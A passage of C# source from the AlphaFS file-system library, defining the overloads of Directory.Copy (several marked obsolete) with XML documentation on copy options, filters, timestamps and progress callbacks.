/// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, bool overwrite, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists,\n            DirectoryEnumerationFilters = filters,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, DirectoryEnumerationFilters filters)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            DirectoryEnumerationFilters = filters\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            DirectoryEnumerationFilters = filters,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            DirectoryEnumerationFilters = filters\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"preserveDates\"><c>true</c> if original Timestamps must be preserved, <c>false</c> otherwise.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      [Obsolete(\"Use other overload and add CopyOptions.CopyTimestamp enum flag.\")]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, bool preserveDates, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            DirectoryEnumerationFilters = filters,\n            PathFormat = pathFormat\n         });\n      }\n\n      #endregion // Obsolete\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = CopyOptions.FailIfExists\n         });\n      }\n      \n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = CopyOptions.FailIfExists,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, DirectoryEnumerationFilters filters)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = CopyOptions.FailIfExists,\n            DirectoryEnumerationFilters = filters\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = CopyOptions.FailIfExists,\n            DirectoryEnumerationFilters = filters,\n            PathFormat = pathFormat\n         });\n      }\n      \n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            DirectoryEnumerationFilters = filters,\n            CopyOptions = CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is not allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            DirectoryEnumerationFilters = filters,\n            CopyOptions = CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n         });\n      }\n      \n      \n\n      \n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = copyOptions\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      